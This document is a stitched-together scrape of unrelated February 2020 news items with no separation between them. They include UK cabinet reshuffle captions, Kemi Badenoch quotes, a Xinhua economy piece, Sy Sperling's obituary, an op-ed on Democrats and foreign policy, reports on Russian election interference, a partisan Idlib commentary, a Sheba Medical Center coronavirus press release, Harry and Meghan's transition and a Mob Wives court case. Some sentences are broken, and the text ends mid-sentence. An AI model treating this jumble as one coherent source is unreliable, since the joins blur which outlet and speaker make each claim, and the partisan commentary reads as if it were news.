EPA Boris Johnson's cabinet reshuffle: Who's in and who's out Changed role: Alok Sharma Appointed business secretary (previously international development secretary). He has also been put in charge of the UKs COP26 climate change summit PA Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Attorney General Geoffrey Cox Resigned as the government's most senior law officer AFP via Getty Boris Johnson's cabinet reshuffle: Who's in and who's out In: Suella Braverman Appointed Attorney General and she will attend cabinet EPA Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Theresa Villiers Sacked as environment secretary PA Boris Johnson's cabinet reshuffle: Who's in and who's out In: George Eustice Appointed environment, food and rural affairs secretary. He was a farming and fisheries minister Reuters Boris Johnson's cabinet reshuffle: Who's in and who's out Changed role: Anne-Marie Trevelyan Appointed international development secretary (previously parliamentary under-secretary for defence) Getty Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Julian Smith Sacked as Northern Ireland secretary Reuters Boris Johnson's cabinet reshuffle: Who's in and who's out In: Brandon Lewis Appointed Secretary of Northern Ireland Reuters Boris Johnson's cabinet reshuffle: Who's in and who's out In: Stephen Barclay Appointed chief secretary to the Treasury PA Boris Johnson's cabinet reshuffle: Who's in and who's out In: Oliver Dowden Appointed culture secretary, succeeding Nicky Morgan Getty Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Chris Skidmore Sacked as eucation minister Getty Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Nus Ghani Sacked as transport minister Chris McAndrew/UK Parliament/CC BY 3.0 Boris Johnson's cabinet reshuffle: Who's in and who's out Out: George Freeman Sacked as transport minister Getty But in 2016, during her period as a London Assembly member, Badenoch successfully lobbied for Survivors UK, a London charity that supports male victims of rape, to be awarded 78.000. She has also made controversial statements regarding Friends and sexual harassment in the post-#MeToo era. Badenoch said in an interview with The House magazine in 2018 about criticisms of the hit sitcom: In the papers, they were talking about how Friends is now sort of really homophobic, transphobic and so on. That, for me, is a very, very its actually a puritanical position, which I think of as conservative. So, you cant really put your finger on what is what these days. Also during her interview she called young people puritanical regarding sexual harassment: What we thought was quite liberal is now seen as quite conservative and vice versa When I look at a lot of the stuff that you see on social media about how I think its a generational thing as well younger people look at appropriate behaviour and what is a sexual advance, what is sexual harassment and so on, to me, its actually becoming a lot more puritanical than anything I ever saw in my 20s or in my teens. On Monday, Boris Johnsons newly appointed aide, Andrew Sabisky, whose controversial comments on compulsory contraception and suggesting that black people are mentally inferior. The Conservative Party and Badenoch have been approached for comment. Source: Xinhua| 2020-02-21 11:43:00|Editor: huaxia Video Player Close NEW YORK, Feb. 20 (Xinhua) -- China's economy will bounce back once the novel coronavirus epidemic is contained, said a leading U.S. expert on China. "One need not be an economist to forecast that, once the novel coronavirus is contained, there will be 'snap back' or a 'make up' period of strong growth driven by pent-up demand," Robert Kuhn, chairman of the Kuhn Foundation, told Xinhua via email on Wednesday. "One need only review China's recent history to appreciate the potency and resiliency of Chinese workers, who are the foundation of China's historic transformation, and to recognize the depth and sophistication of China's industrial chain, which has developed dramatically in recent years and is the deepest and most comprehensive in the world," he said. It is natural for the economy to suffer because consumption has been so dramatically suppressed, as the outbreak came at the worst time, right before the Chinese New Year -- Spring Festival, Kuhn said. "But there is no simple statement about the economic condition because the epidemic's impact is differential," he said. Some industries are hit very hard, "but should expect to have a 'bounce' make-up" after the epidemic is over, like automotive, Kuhn said. "I expect e-commerce to do very well, even to accelerate its market penetration, because people will feel more comfortable, at least for a while, shopping online and not going to public places," he said. "And once people get used to online shopping, the more permanent the change in behavior." Kuhn said China's central government is enacting policies in support of companies that must navigate several hard months, providing special financings and abatements, particularly for small and medium-sized companies. "These programs are in process but the fact that the government is addressing these concerns quickly already is a confidence boost," he said. There is concern about international companies, some of which have prior to the epidemic felt their supply chains threatened by international trade tensions, and the novel coronavirus may reinforce their risk-management sense to diversify their supply chains outside of China, Kuhn said. "Here is where China can take pro-active steps in accelerating further reform and opening up of domestic markets, which will encourage international companies to remain committed to China and perhaps even to take advantage of new opportunities," he said. Sy Sperling, famous for founding the Hair Club for Men, died in Florida on Feb. 19. A representative for Sperling confirmed to the Associated Press that he passed away in the city of Boca Raton after a long illness. He was 78. Sperling entered homes in the 1980s and 1990s via commercials catering to men who were follicly challenged. He earned the trust of countless balding males by showing off a photo of his own receding hairline at the end of the ad saying, Im not only the Hair Club President but Im also a client. The business idea came to Sperling in the 1960s while selling swimming pools in New York City, as he grew frustrated himself with toupees. He used a weaving technique learned from a hairstylist he later perfected to help countless men look and feel better about themselves. He founded Hair Club for Men in 1976, which later became just Hair Club in 1995 as they started offering the service to women as well. In 1992, he started Hair Club for Kids, to help kids undergoing cancer treatments or other eligible issues for free. The company he founded, and later sold to a group of investors in 2000 for $45 million, remembered him on Thursday. It is with great sadness that we can confirm the passing of Sy Sperling, the iconic founder of Hair Club in 1976 and a pioneer in hair restoration. Our thoughts and prayers are with the Sperling family, they posted on their website. They added, Colleagues, friends, and family recall Mr. Sperling as a visionary with an immense passion for business, innovation and helping others. We continue to live by his words Live life to the fullest, take chances and risks, and believe in yourself.' Related content: Foreign affairs have been low on the agenda for most of the Democratic candidates, barely warranting a mention in interviews or on the campaign trail. Its easy to understand why: Last year, an NBC News poll found that only 11 per cent of voters ranked foreign policy as a primary concern, and as FiveThirtyEights Nathaniel Rakich pointed out last month, Foreign policy doesnt usually affect elections. One single exchange between Pete Buttigieg and Amy Klobuchar over the latters inability to name the President of Mexico was pretty much the closest the candidates came to debating foreign policy in Nevada this week. Rightwing websites were quick to criticize the glaring omission, with a Breitbart headline screaming Democrats skip foreign policy, national security at Nevada debate and the Washington Examiner lamenting the woeful neglect of foreign policy. Its easy for progressives to dismiss out of hand these undeniably biased websites, but we do so at our own peril. The fact is that the Washington Examiner is right. It is woeful neglect not to discuss foreign policy and national security, and Democrats have been ignoring the issue for far too long. These are not esoteric issues. My family understands that better than most. This week I found out my brother, a career soldier, will soon be deploying to the Korean peninsula. It is his fourth international deployment, including a tour each in Iraq and Afghanistan. He and millions of service members like him have been on the front lines of American foreign policy since 2004 in my brothers case, quite literally. When we talk about kitchen table issues, we so often mean the economy and healthcare and education. But for military families especially, foreign policy has a direct impact on their everyday lives. And these issues dont just affect service members. Every American feels the consequences of foreign policy in some waywhether its Central American refugees in their community, rising prices at the gas pump, or even just avoiding fake news on social mediaand every American deserves to hear where the candidates stand on them. They are also issuesunlike healthcare and tax reformwhich are almost exclusively the purview of the President. Foreign policy is the one area where the Executive Branch has almost endless power and authority. Without meaning to sound alarmist, the world is a dangerous place. The spread of coronavirus specifically and pandemics generally are a real threat to national security and global stability. Tensions in the Middle East are higher than theyve been in years (thanks in no small part to Donald Trump). Russia continues to be emboldened in its disinformation campaigns, to exert influence in Syria and the Balkans and is, last I checked, still occupying part of Ukraine in Crimea. China is ascendant, slowly but surely garnering influence throughout Asia while endeavoring in what can only be called neocolonialism in Africa. The Northern Triangle a mess of Americas own making is still struggling with corruption and violence, while political instability in Latin America continues to be cause for ever greater concern. Oh, and Australia is literally on fire, reminding us the climate crisis is far from being solved. Mike lee calls Soleimani briefing worst I've seen, at least on a military issue, in 9 years I've served in the Senate' The Democratic candidates have a wide array of views on this. Bernie Sanders would follow the path of Donald Trump and forsake Americas traditional role as global cop, shrinking the size of the military and reducing American intervention in geopolitical affairs. Pete Buttigieg would take a more active role in combating authoritarianism and confronting Chinese ambitions and aggressions. The rest of the candidates fall somewhere in between. This matters immensely, because America stands at a crossroads. Donald Trump rode a wave of isolationist sentiment into the White House. He touts his America First policy as a retreat from the active role the United States has played on the world stage since the end of the Second World War. This trend towards inaction did not begin with Trump, though. The Washington Post reported as early as 2013 that isolationist sentiment is at a 50-year high. Whoever succeeds Donald Trump, whether in 2021 or 2025 (and God, let us hope it is 2021) will have to decide whether to chart the same course of managed decline or to try to ensure the Pax Americana a Latin phrase meaning American peace which refers to the relative period of global stability overseen by the United States continues into the 21st century. Cards on the table, I think it should. America has made a lot of mistakes around the world, no doubt, but on the whole has been an immeasurable force for good. While the days of unipolarity are unquestionably behind us, there is still a role for American power soft and hard and American influence to play in international politics and global security. To abdicate that role would cause a massive shift in global power, an upending of the chessboard the likes of which we havent seen since at least the disintegration of the British Empire. And while theres a lot to criticize about empire, even the American empire, the thought of China and Russia filling the power vacuum (as Russia has done in Syria and China in Sri Lanka and the Horn of Africa) should give pause to even the most ardent isolationist, right or left. I am but one voter, and Democrats may decide that isolationism and managed decline is the order of the day. They can only credibly determine that, though, after a robust debate about our countrys role in the world has occurred. As of now the Democratic candidates have not had that debate. Indeed, they have barely articulated a position, let alone philosophy, on what Americas role in the world ought to be. The Democrat challengers to Trump in 2020 Show all 25 1 /25 The Democrat challengers to Trump in 2020 The Democrat challengers to Trump in 2020 Bernie Sanders The Vermont senator has launched a second bid for president after losing out to Hilary Clinton in the 2016 Democratic primaries. He is running on a similar platform of democratic socialist reform Getty The Democrat challengers to Trump in 2020 Joe Biden The former vice president recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well and has since maintained a front runner status in national polling EPA The Democrat challengers to Trump in 2020 Elizabeth Warren The Massachusetts senator is a progressive Democrat, and a major supporter of regulating Wall Street Reuters The Democrat challengers to Trump in 2020 Amy Klobuchar Klobuchar is a Minnesota senator who earned praise for her contribution to the Brett Kavanaugh hearings Getty The Democrat challengers to Trump in 2020 Michael Bloomberg Michael Bloomberg, a late addition to the 2020 race, announced his candidacy after months of speculation in November. He has launched a massive ad-buying campaign and issued an apology for the controversial "stop and frisk" programme that adversely impacted minority communities in New York City when he was mayor Getty Images The Democrat challengers to Trump in 2020 Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, but has faced tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Pete Buttigieg The centrist Indiana mayor and war veteran would be the first openly LGBT+ president in American history Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Deval Patrick The former Massachusetts governor launched a late 2020 candidacy and received very little reception. With just a few short months until the first voters flock to the polls, the former governor is running as a centrist and believes he can unite the party's various voting blocs AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Beto O'Rourke The former Texas congressman formally launched his bid for the presidency in March. He ran on a progressive platform, stating that the US is driven by "gross differences in opportunity and outcome" AP The Democrat challengers to Trump in 2020 DROPPED OUT: Kamala Harris The former California attorney general was introduced to the national stage during Jeff Sessions testimony. She has endorsed Medicare-for-all and proposed a major tax-credit for the middle class AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Bill De Blasio The New York mayor announced his bid on 16 May 2019. He emerged in 2013 as a leading voice in the left wing of his party but struggled to build a national profile and has suffered a number of political setbacks in his time as mayor AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Steve Bullock The Montana governor announced his bid on 14 May. He stated "We need to defeat Donald Trump in 2020 and defeat the corrupt system that lets campaign money drown out the people's voice, so we can finally make good on the promise of a fair shot for everyone." He also highlighted the fact that he won the governor's seat in a red [Republican] state Reuters The Democrat challengers to Trump in 2020 DROPPED OUT: Cory Booker The New Jersey Senator has focused on restoring kindness and civility in American politics throughout his campaign, though he has failed to secure the same level of support and fundraising as several other senators running for the White House in 2020 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam said he intended to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord Vice News The Democrat challengers to Trump in 2020 DROPPED OUT: Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017 AP The Democrat challengers to Trump in 2020 DROPPED OUT: Andrew Yang The entrepreneur announced his presidential candidacy by pledging that he would introduce a universal basic income of $1,000 a month to every American over the age of 18 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Marianne Williamson The author and spiritual adviser has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Eric Swalwell One of the younger candidates, Swalwell has served on multiple committees in the House of Representatives. He intended to make gun control central to his campaign but dropped out after his team said it was clear there was no path to victory Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Seth Moulton A Massachusetts congressman, Moulton is a former US soldier who is best known for trying to stop Nancy Pelosi from becoming speaker of the house. He dropped out of the race after not polling well in key states Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Jay Inslee Inslee has been governor of Washington since 2013. His bid was centred around climate change AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Hickenlooper The former governor of Colorado aimed to sell himself as an effective leader who was open to compromise, but failed to make a splash on the national stage Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tim Ryan Ohio representative Tim Ryan ran on a campaign that hinged on his working class roots, though his messaging did not appear to resonate with voters Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tom Steyer Democratic presidential hopeful billionaire and philanthropist Tom Steyer is a longtime Democratic donor AFP/Getty Climate change, pandemics, and a general malaise among the electorate following twenty years of endless war continue to change Americas relationship with the international community. We have a straightforward choice between isolationism and continued global influence. We need to acknowledge that, and so do the candidates. Its hard to think of a more consequential policy than what you believe Americas place in the world should be. Anyone seeking to be president ought to be talking about it ad nauseum. Yet the moderators at Wednesdays debate couldnt be bothered to ask about it, and the Democratic candidates didnt even try to mention it. Thats utterly unacceptable, because the United States stands at a crucial period in its history, one unlike any moment since 1945. Our country must soon decide not only how it plans to lead the world in the 21st century, but if it will lead at all. If thats not worth debating, I dont know what is. Intelligence officials have warned lawmakers that Russia is interfering in the 2020 election campaign to help President get reelected, two officials familiar with the closed-door briefing have said. The warning raises questions about the integrity of the presidential campaign and whether Trump's administration is taking the proper steps to combat the kind of interference that the US saw in 2016. The officials asked for anonymity to discuss sensitive intelligence. One of the officials said on Thursday the briefing last week focused on Russia's efforts to influence the 2020 election and sow discord in the American electorate. The warning was first reported by The New York Times and The Washington Post. The Times said the news infuriated Trump, who complained that Democrats would use the information against him. Over the course of his presidency, Trump has dismissed the intelligence community's assessment of Russia's 2016 election interference as a conspiracy to undermine his victory. One day after the February 13 briefing to the House Intelligence Committee, Trump berated the then-director of national intelligence, Joseph Maguire, and he announced this week that Maguire would be replaced by Richard Grenell, a Trump loyalist. US intelligence agencies say Russia interfered in the 2016 election through social media campaigns and stealing and distributing emails from Democratic accounts. They say Russia was trying to boost Trump's campaign and add chaos to the American political process. Special counsel Robert Mueller concluded that Russian interference was "sweeping and systematic," but he did not find a criminal conspiracy between Russia and the Trump campaign. In last week's briefing before House lawmakers, Trump's allies challenged the DNI's chief election official, Shelby Pierson, who delivered the conclusions, saying Trump has been tough on Russia, the Times reported. But Trump has also spoken warmly of Russian leader Vladimir Putin and withdrawn troops from areas, like Syria, where Moscow could fill the vacuum. He delayed military aid last year to Ukraine, a Russian adversary a decision that was at the core of his impeachment proceedings. The Times said Trump was angry that the House briefing was made before the panel's chairman, Rep. Adam Schiff, who led the impeachment proceedings. Trump on Thursday formally appointed Grenell, the US ambassador to Germany, to replace Maguire as the new acting director of national intelligence. Maguire was required to step down soon under federal law governing acting appointments. The Times cited two administration officials as saying the timing, after the intelligence briefing, was coincidental. Pierson told NPR in an interview that aired last month that the Russians "are already engaging in influence operations relative to candidates going into 2020. But we do not have evidence at this time that our adversaries are directly looking at interfering with vote counts or the vote tallies." Pierson, appointed in July 2019 by then-Director of National Intelligence Dan Coats, works with intelligence agencies like the CIA, the FBI, the National Security Agency and the Department of Homeland Security to identify anyone seeking to interfere with US elections. Pierson told NPR that the US doesn't know exactly what the Russians are planning, but she said it's not just a Russia problem. "We're still also concerned about China, Iran, non-state actors, hacktivists and frankly certainly for DHS and FBI - even Americans that might be looking to undermine confidence in the elections." At an open hearing this month, FBI Director Christopher Wray told the House Judiciary Committee that Russia was engaged in "information warfare" heading into the November election, but that law enforcement had not seen efforts to target America's infrastructure. He said Russia is relying on a covert social media campaign to divide the American public. Home Search ICH Putin vs. Erdogan: Who's Going to Blink First? By Mike Whitney February 20, 2020 " Information Clearing House " - An explosive situation is developing in Idlib province where the Syrian army is conducting a major offensive that has triggered a harsh response from Turkey. Turkish President Recep Tayyip Erdogan is threatening to attack Syrian forces anywhere in the country if the Syrian government does not stop all military operations in the so-called Idlib de-escalation zone. Aside from the fact that Turkey has no legal right to occupy Syrian territory, Erdogans threat pits Turkey against Russia in a showdown that could quickly escalate into a full-blown conflagration. I announce that we will strike the Syrian regime forces everywhere starting from today without being bound to Idlib or by the Sochi Memorandum, if our soldiers at the lookout posts or elsewhere suffer any harm, said Erdogan addressing a meeting of his partys members. Legally, Turkey does not have a leg to stand on. According to the Sochi agreement that was signed by both Turkey and Russia in 2018, Turkey agreed that: All radical terrorist groups will be withdrawn from the demilitarized zone by October 15, 2018 All tanks, artillery, MLRS and mortars of the conflicting parties will be withdrawn from the demilitarized zone by October 10, 2018. In the interests of ensuring free movement of local residents and goods, as well as restoring trade and economic ties, transit traffic along the routes M4 (Aleppo-Latakia) and M5 (Aleppo-Hama) will be restored before the end of 2018 Erdogan has not made good on any of these commitments. Are You Tired Of The Lies And Non-Stop Propaganda? Get Your FREE Daily Newsletter Russian Foreign Minister Sergie Lavrov explained whats actually going on in a recent press conference where he said: As you know A truce agreement was signed with the reservation that the terrorist groups blacklisted by the UN Security Council would not and may not be covered by the truce.. all those identified by the UN Security Council as terrorist groups herded together into the remaining de-escalation zone of Idlib. President of Russia Vladimir Putin and his Turkish counterpart Recep Tayyip Erdogan reached special agreements on this zone. This issue was reviewed twice in September 2018 and October 2019. In both cases Russia and Turkey adopted specific documents that included their commitments to oversee Idlib, primarily in terms of civilian security and the distribution of humanitarian relief. Regrettably, so far, Turkey has failed to fulfill a couple of its key commitments that were designed to resolve the core of the Idlib problem. (Lavrov explains the Idlib agreement) Simply put, Turkey has not kept up its end of the bargain and cleared the area of al Qaida elements who still operate openly in Idlib and who still receive support from the Turkish state. After multiple warnings and delays, Syria and its ally Russia decided that theyd have to put an end to Erdogans subterfuge and take action themselves which is clearly permitted under international law. Since the operation began some two weeks ago, the Syrian Army has liberated a number of strategic cities in the area as well as the primary transport corridor, the M-4 and M-5 highways. In response, Turkey has joined al-Qaeda-linked militants in their attack on positions of the Syrian Army (in) Idlib. During the past few days, Hayat Tahrir al-Sham and other radical groups recently received a large number of military equipment and weapons from Turkey. On February 10, they launched an attack on the Syrian Army using weapons and equipment that they had received. (Turkish Troops Join Al-Qaeda-linked Militants In Their Attack On Saraqib, South Front) Hours after the jihadist attack, the Syrian Army retaliated and (allegedly) killed 8 or more Turkish soldiers located in the vicinity of a Turkish observation post on Syrian territory. The unexpected escalation brought a swift response from Ankara where the Turkish defense minister warned that, If the Syrian forces are not withdrawn by the end of February, we will take action. Turkeys determination to annex large parts of Syrias northern territory has not wavered since 2015 when the government first announced its support for a plan to impose safe zones (35 km deep) along the 911 km Syrian-Turkish border. The plan succeeded east of the Euphrates River when Turkish troops invaded earlier in the year claiming that the Kurdish militia, YPG, posed a threat to Turkeys national security. The attempt to seize more Syrian land west of the Euphrates, invoking the threat of humanitarian disaster, suggests that Turkey will use any bogus pretext to achieve its strategic objectives. Fortunately, Putin has not been hoodwinked by Erdogans shifting justifications for the seizure of Syrian territory. The Russian-Syrian forces continue to move deeper into the province routing or killing the remaining pockets of armed militants in their path. According to Irans Press TV: The Russian Foreign Ministry said in a recent statement that Idlib-based militants had staged more than 1,000 attacks in the last two weeks of January from a Turkish-controlled de-escalation zone in the flashpoint province. It stressed that most of the attacks had been conducted by the Hayat Tahrir al-Sham militant group. Syria has been gripped by foreign-backed militancy since March 2011. The Syrian government says the Israeli regime and its Western and regional allies are aiding Takfiri terrorist groups had been wreaking havoc in the Arab country. (Turkey warns of Plan B amid Syrias anti-terror operation in Idlib, Press TV) Putin is looking for ways to diffuse the situation and strike a deal with Erdogan, but its not going to be easy. Putin has already taken a minimalist approach to Syrian conflict, that is, he is committed to liberating areas that are vital to the preservation of the state, but hes not going to go out on a limb and undermine Russias interests by launching attacks on US bases in east Syria or starting a war with Erdogan in the west. By the same token, Putin cannot allow himself to be manipulated by a scheming opportunist like Erdogan who wants to shrug off his agreements because they no longer serve his regional ambitions. Putin would like to meet the Turkish president halfway and allow him to maintain troops in a safe zone further north, but he wont cave in and give Erdogan everything he wants. Putin is reasonable, but hes no pushover as Erdogan is likely to find out. Heres more background from a piece at the pro-government Daily Sabah: Idlib, as the opposition forces last stronghold, also has a symbolic meaning in peace talks in Geneva: Whoever controls Idlib will obviously have a big influence on the last word on the future of Syria. Idlib is of great importance for the Assad regime, as well, as it would strengthen his hand at the Geneva talks at a time when the regime is taking on the insane risk of confronting Turkish forces in open warfare on the ground for the first time since the beginning of the civil war. Obviously, this would be fatal for the Sochi agreement. Strictly speaking, the outcome of the Syrian regime attacks in Idlib is a matter of life or death for the oppositions role at the Geneva talks. The opposition will fight to the end to try to avoid weakening its position during its last chance at talks on Idlib. (Turkey and Russia must find a path to a new agreement, Daily Sabah) A matter of life or death for the opposition? The opposition (jihadists) will fight to the end? The possibility is quite real especially in the present hyper-incendiary environment. Syrian president Bashar al Assad needs Idlib to reunite the country and to connect Latakia and Aleppo to Damascus. Putin needs Idlib to end his commitment in Syria and to provide a model for preserving threatened nation-states from destabilizing regime change operations. And Erdogan needs Idlib to extend Turkeys power to territories it once controlled but lost following the post-WW1 imperialist carve up. Add to this toxic clash of interests the recent announcements by Washington and NATO that they support Erdogans efforts in Idlib, and the prospects for disaster increase exponentially. Heres what neocon Mike Pompeo said yesterday on Twitter: My condolences to the families of the soldiers killed in yesterdays attack in Idlib. The ongoing assaults by the Assad regime and Russia must stop. Ive sent (special US envoy to Syria) Jim Jeffrey to Ankara to coordinate steps to respond to this destabilizing attack. We stand by our NATO Ally #Turkey. Pompeos comments were followed by reports that US bombers had carried out air-strikes on Syrian troops in Al-Qamishli. Hours later, Israel launched a missile attack on Damascus. Clearly, the western powers are eager to take advantage of the emerging crisis and stir up as much trouble as possible. As for Turkey, an outspoken columnist for the Daily Sabah was honest enough to articulate the government policy without making any attempt to conceal Ankaras real motives. Heres what he said: Turkey, however, is determined to stop the regime offensive Although the primary objective is to secure Turkeys observation posts, it is obvious that the current deployment serves a broader agenda. Going forward, Ankara needs to establish a safe zone with lasting borders. In other words, Turkey has to conduct a comprehensive operation to combat terrorism, among other things. The aim of the operation must be to ensure the safe zones sustainability. (Regime violence must be stopped now, Daily Sabah) As the author makes clear, Turkeys real objective is to annex Syrian territory in the north and expand its own borders to the south, a clear case of territorial aggression. We dont think Putin is going to put up with this. Mike lives in Washington state. He can be reached at fergiewhitney@msn.com. Do you agree or disagree? Post your comment here ==See Also== The views expressed in this article are solely those of the author and do not necessarily reflect the opinions of Information Clearing House. Search Information Clearing House === Click Here To Support Information Clearing House Your support has kept ICH free on the Web since 2002. Click for Spanish , German , Dutch , Danish , French , translation- Note- Translation may take a moment to load. RAMAT GAN, Israel, Feb. 21, 2020 /PRNewswire/ -- Israel's Sheba Medical Center has confirmed the country's first case of coronavirus, following the arrival of 11 quarantined patients from the Princess Diamond Cruise Ship. All of the passengers tested negative before arriving in Israel. The woman, who is in her 70s, has tested positive but has not yet shown symptoms. She is the wife of a patient who also tested positive. He, too, was on the Princess Diamond Cruise ship and is currently being treated in Japan. The Israeli travelers at Sheba Medial Center are being quarantined in an isolation unit for the next two weeks, away from the main Sheba campus. Sheba is 100% prepared to care for these individuals without risking the safety of staff or other patients. The woman who tested positive is separated from the other quarantined patients. "We are doing our utmost to minimize and eliminate the danger to the public by isolating the returning Israeli citizens. The secluded complex, which is away from the central hospital campus features a small area outside where the returning citizens will be able to take short walks away from the hospital, within the complex," said Prof. Arnon Afek, Dep. Director General of Sheba Medical Center and Director of Sheba's General Hospital. Cutting-edge telemedicine will be utilized to protect staff. A robot operated by doctors from a remote location will allow physicians to monitor patient vital signs, communicate with the patient and conduct basic check-ups. "We are using some of the world's most sophisticated high-tech telemedicine applications taken from the start-up ecosystem at Sheba and Israel, using sensors, robots and hand-held devices in order to minimize exposure to our medical staff. The goal is to make our returning citizens feel comfortable in an environment where they will know that all of their needs will be taken care of," said Prof. Afek. Telemedicine Technologies being Utilized: Datos: The mobile app is designed to directly and continuously connect patients with their sources of medical care. To help implement Sheba's coronavirus telemedicine program, the platform-powered app will enable close remote monitoring by making it possible for patients to continuously measure and record their body temperature, and even reminding them to do so. The app will additionally allow medical staff to initiate video calls with patients, so as to check on their condition and provide them with the confidence that they're fully taken care of. "Datos' solution can help us greatly reduce this risk by enabling us to monitor less severe patients outside the hospital, in the relative safety and comfort within their homes, with the telemedicine app enabling us to communicate with them via video whenever necessary," said Dr. Galia Barkai, Director of Telemedicine at Sheba Medical Center's ARC innovation project Sheba Medical Center. "Our technology and mobile app are proving their worth in enabling Sheba to remotely monitor people having recently returned from Japan, keeping both patients and hospital staff as safe as possible from unnecessary exposure," said Uri Bettesh, Founder & CEO of Datos. Tytocare: All of the patients will be given a hand-held device that will allow doctors to remotely examine the patients. The patients will be able to fully examine themselves with the device, which includes a stethoscope, thermometer etc. The device is also able to monitor the lungs, where the COVID-19 virus strikes hardest. EarlySense: Real-time delivery of actionable data, combined with sophisticated patient data management tools, empowers clinical staff to identify potentially critical situations early, before they become high risk. Coronavirus appeared in China late last year and has been diagnosed in tens of thousands of people. There have been over 620 cases confirmed cases of the virus among the Diamond Princess's original 3,711 people on board. That is the most cases anywhere outside China. Before the quarantine on the ship had ended, the United States evacuated more than 300 Americans and put them in quarantine in the US for another 14 days. South Korea, Australia Hong Kong, Canada and Italy also evacuated their residents. About Sheba Medical Center Born together with Israel in 1948, Sheba Medical Center, Tel HaShomer is the largest and most comprehensive medical center in the Middle East. Sheba is the only medical center in Israel that combines an acute care hospital and a rehabilitation hospital on one campus, and it is at the forefront of medical treatments, patient care, research and education. As a university teaching hospital affiliated with the Sackler School of Medicine at Tel-Aviv University, it welcomes people from all over the world indiscriminately. In 2019, Newsweek magazine named Sheba one of the top ten hospitals in the world. For more information, visit: eng.sheba.co.il Press Contact: Kelcey Kintner [email protected] 646-391-8001 SOURCE Sheba Medical Center, Tel HaShomer Buckingham Palace has released new details on the next steps for Megxit, following Prince Harry and Meghan Markle quitting their roles as senior members of the royal family. They are planning to split their time between the UK and North America, where the former "Suits" actress is from, and work to become "financially independent." Their announcement and a new website launch, followed by numerous months of talks, the details of what their new working model will look like are still being ironed out. According to ITV's royal editor Chris Ship, their status as "senior royals" will end on March 31st, 2020, setting in a new working model for the Duke and Duchess of Sussex, effective April 1st 2020. Another royal editor Omid Scobie confirmed that the royal family and the Sussexes have agreed to an initial 12-month review to ensure the arrangement works for all parties. "From April 1st, the Sussexes will no longer have an office at Buckingham Palace but will continue to be repped in the UK through their foundation team," Scobie added. He went on to confirm that Prince Harry and Meghan Markle will retain their other titles such as the Earl and Countess of Dumbarton and The Baron and Baroness Kilkeel, in reference to their titles in Scotland and Northern Ireland respectively. It was also announced that Prince Harry would give up his honorary military positions, and he will not be using them for the 12 months. With rumors circulating that the Duke and Duchess are permanently staying in Canada, according to a palace source, the couple is planning to be in Britain "regularly." During the transition, they will be represented through a charity, which, as of now, has still not yet launched. A decision whether or not Prince Harry and his wife can use the "Sussex Royal" label, it would be announced once they launch their non-profit organization. A few weeks ago, the couple applied to trademark "Sussex Royal" and "Sussex Royal Foundation" for use on books, stationery, clothing, charity campaigns, training, sport, and social care. According to a royal spokesperson, "The themes of their cause-related work will remain unchanged, which includes the Commonwealth, the community, youth empowerment, and mental health, collectively." Before the new arrangement takes effect, numerous public appearances are planned for the couple, which will be covered by media in the usual way with a royal rota in place. The Duke of Sussex will be at the Invictus Games on February 28th. Prince Harry and Meghan Markle will attend the Endeavour Fund Awards on March 5th, and the Prince will also be at Silverstone on March 6th to race with Lewis Hamilton. The couple will be seen at the Mountbatten Festival of Music on March 7th, while the LA-born star will mark International Women's Day on March 8th. They will then be joining Queen Elizabeth II and the rest of the Royal Family for the Commonwealth Service at Westminster Abbey on March 9th. Prince William's younger brother remains sixth in line to the throne, and his status with Markle in the Order of Precedence remains unchanged. READ MORE: Queen Elizabeth Losing Control: Another DEVASTATING Divorce Hits Royal Family Prosecutors in Staten Island have dropped all weapons and drug possession charges against Drita DAvanzo, the star of the hit reality television show Mob Wives, but her husband is still in legal jeopardy. Lee DAvanzo, a reputed member of the Colombo crime family, and his wife were taken into custody after the New York Police Department raided their home in southwest Staten Island on December 19. While relieved by the prosecutors decision on Friday, Drita still has her husbands legal woes on her mind. I have no time to celebrate because my husband is not home, but I am very happy with the outcome, she said as she walked out of court in the St. George section of Staten Island. Drita D'Avanzo is seen above walking out of St. George Criminal Court in Staten Island on Friday The Mob Wives star, 44, had all weapons and drug possession charges against her dropped All I am focusing on right now is the fact that this turned out good'. Lee DAvanzo will be tried by the federal government on charges of possession of a firearm while being a convicted felon. Based on the superseding federal indictment, the fact that Mrs. DAvanzo was not the target of the search warrant, and after a careful review of the evidence, we believe it is appropriate that the charges against Mrs. DAvanzo be dismissed in the interest of justice, District Attorney Michael E. McMahon said in a statement. The case against Mr. DAvanzo will proceed accordingly in federal court. The original criminal complaint says officers found two loaded firearms - one in a bedroom, the other in the kitchen - opioids and drug-dealing paraphernalia inside the home on Woodvale Avenue. Drita D'Avanzo was pictured in court in Staten Island earlier on Friday She is seen above looking on as prosecutors announced their decision to drop all charges against her Drita is flanked by her attorney, John J. Rapawy (left), and her husband's attorney James Foccaro Jr (right) Last month, New Jersey prosecutors charged Drita's husband, Lee 